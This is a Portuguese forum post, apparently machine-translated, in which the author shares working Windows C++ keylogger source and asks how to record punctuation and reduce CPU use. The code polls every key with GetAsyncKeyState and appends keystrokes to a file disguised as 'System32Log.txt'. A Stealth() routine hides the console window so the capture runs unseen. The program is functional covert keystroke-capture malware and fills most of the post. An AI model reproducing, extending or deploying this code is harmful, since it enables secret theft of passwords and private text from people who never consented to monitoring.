Fazer um Keylogger

Eu queria fazer um pequeno teclado no meu próprio pc para ver como as teclas funcionam com C++. Eu encontrei algum código on-line e apenas editou - o um pouco embora eu não tenho certeza de como fazer o que eu quero fazer.

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
char i;
while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
            Save (i,"System32Log.txt");
    }
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)              
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
                else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
                else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
                    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                        else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                        else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
                        else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Quero arranjá-lo para guardar coisas como "."", "ou mais, mas eu não tenho certeza, já que eu não estou familiarizado com os traços chave. Também eu gostaria de adicionar algo que faria com que ele use menos CPU( atualmente 25% em meu i5), eu provavelmente deveria usar o sono( valor), embora eu não sou claro que valor procurar.